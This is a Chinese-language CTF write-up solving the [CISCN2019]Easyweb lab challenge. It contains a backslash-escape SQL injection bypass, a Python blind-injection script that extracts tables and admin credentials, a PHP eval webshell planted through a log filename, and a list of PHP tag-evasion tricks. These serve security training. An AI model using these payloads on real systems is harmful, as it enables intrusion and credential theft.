前言:

这道题学到不少知识,还卡了很长时间,单独记录一下

[CISCN2019]Easyweb

首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试

  1. burp抓包看有什么线索没
  2. SQL万能密码注入
  3. 页面扫描,看看有什么源码泄露或者robots.txt
    CTF训练计划—[CISCN2019]Easyweb_web
    前两个都行不通,刚开始页面扫描的时候也没有扫到什么,然后就彻底懵了,后来发现是工具犯病了,再扫一次就出来了
    CTF训练计划—[CISCN2019]Easyweb_sql语句_02
    一个robots.txt文件,访问可以发现提示的是备份文件,但没说具体的文件名
    CTF训练计划—[CISCN2019]Easyweb_web_03
    就利用排除法,一个一个的去试试,目前知道有index.php,user.php(登陆抓包即可发现),然后是image.php(查看页面源码即可发现),在尝试的过程中,发现image.php是可以下载备份文件的
    CTF训练计划—[CISCN2019]Easyweb_web_04
    看代码是可以进行SQL注入的,但需要通过addslashes、str_replace两个函数的处理。这里先补充一些知识
addslashes函数会把注入的单引号转换成\',把双引号转换成\",反斜杠会转换成\\
addslashes的问题:
addslashes会把%00转换成\0
addslashes会把单引号(')转换成\'

再回过头看代码,str_replace函数会查找我们输入的内容,如果找到​​"\\0","%00","\\'","'"​​其中一个都会过滤为空,而且最为重要的是单引号被过滤了,既然无法引入单引号,只能在​​\​​做手脚来破坏SQL语句中的单引号,从而造成SQL注入,接下来就自己先在本地进行测试一下

CTF训练计划—[CISCN2019]Easyweb_php_05

将代码修改成这样,便于我们直接看两个函数处理过后的结果。

(PS:这里要说明的一点是做题并不都是那种死套模板的,这题设置的很巧妙,不是那种什么base、hex就绕过了,而是需要自己去思考、测试如何去绕过。)

其实这里我在没有手动测试的时候有一个疑问,就是比如我输入的payload是​​\0​​,经过addslashes函数处理变为了​​\\0​​,然后再经过str_replace函数的处理,与其中的​​\\0​​匹配,所以最后的id应该是空的,但是测试了发现结果大不相同,然后才明白这个数组中多一个​​\​​其实也是进行特殊字符的转义

CTF训练计划—[CISCN2019]Easyweb_单引号_06

那这个payload就可以用,因为SQL语句中的单引号已经被破坏

select * from images where id='\' or path=' or 1=1#'

前面闭合了,便可以执行后面的命令,除此之外的也可以使用

id=\0'

CTF训练计划—[CISCN2019]Easyweb_php_07

结果也是一样的,继续看代码,一开始以为是要去读取文件源码获取下一步线索,结果读不出来CTF训练计划—[CISCN2019]Easyweb_上传_08

进行SQL注入发现了这个地方存在盲注,如果输入的​​path​​参数条件为真即显示猫,为假则报错

条件为真
?id=\0&&path= or ascii(substr(database(),1,1))>1 %23

CTF训练计划—[CISCN2019]Easyweb_sql语句_09

条件为真
?id=\0&&path= or ascii(substr(database(),1,1))<1 %23

CTF训练计划—[CISCN2019]Easyweb_sql语句_10

既然payload已经测出来了,下面就来写脚本,目前我只能写出循环遍历的脚本还是太菜了

import requests
import string
import time
if __name__ == '__main__':
dic = ['{', '}', '_', ',', 'a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6',
'7', '8', '9']
temp = ''
for i in range(60):
for char in dic:
url = "http://ba6d4f92-b3b8-4cdf-916e-f7cccc508f00.node3.buuoj.cn/image.php?id=\\0&&path= or "
#数据库
# payload = 'ascii(substr(database(),%d,1))=%d %%23' %(i,ord(char))
#ciscnfinal

#数据表
# payload = 'ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d %%23' %(i,ord(char))
#images,users

#字段
# payload = 'ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))=%d %%23'%(i,ord(char))
#username,passwor

#用户名 密码
# payload = 'ascii(substr(( select username from users limit 0,1),%d,1))=%d %%23'%(i,ord(char))
# payload = 'ascii(substr(( select password from users limit 0,1),%d,1))=%d %%23' % (i, ord(char))
#admin
#8d60e014233acf360116

res = requests.get(url=url+payload)
time.sleep(0.005)
# print(res.content)
if b'JFIF' in res.content:
temp = temp+char
print(temp)
break

payload中的​​%%​​其实就用于SQL语句时相当于一个​​%​​,用​​%%代替%​​加上是为了避免报错

CTF训练计划—[CISCN2019]Easyweb_单引号_11

还有一点就是脚本中id的payload多了一个​​\​​,这是因为**URL传递\0的时候在字符串中多加个**。

并且由于单引号不能绕过,所以用到表名等可以借助十六进制串来表示。

(如果报错了,觉得脚本没有问题,就换下格式化符号,之前用的format,怎么都跑不出来,用了%,就直接出来了)

得到账号和密码,登陆进去,发现是文件上传

CTF训练计划—[CISCN2019]Easyweb_上传_12

随便上传一句话,都会发现这样一句话

CTF训练计划—[CISCN2019]Easyweb_上传_13

跟着路径查看一下发现

CTF训练计划—[CISCN2019]Easyweb_php_14

根据提示信息,上传的文件名被传到这个php日志文件中去,那就可以把上传的文件名改成一句话木马进行上传

<?php @eval($_POST['test']);?>

CTF训练计划—[CISCN2019]Easyweb_上传_15

但是上传不上去,含有php,所以要找其他方法去替代。

1.当仅禁用<?php时,可以使用<?    ?>
要求:需要开启短标签开关,short_open_tag

2.当禁用<?php以及?>时,还可以使用<?=
要求:PHP版本>PHP 5.4.0

3.禁用了<?、 <?php、 ?>时,可以使用asp标签<% %>
要求:asp_tags设成On

4.<script language=”php”>system($_GET[jinqi]);
等价于<?php system($_GET[jinqi]);?>

尝试了第二个方法,发现可行

CTF训练计划—[CISCN2019]Easyweb_sql语句_16

蚁剑连接即可

总结

多思考,多动手,多测试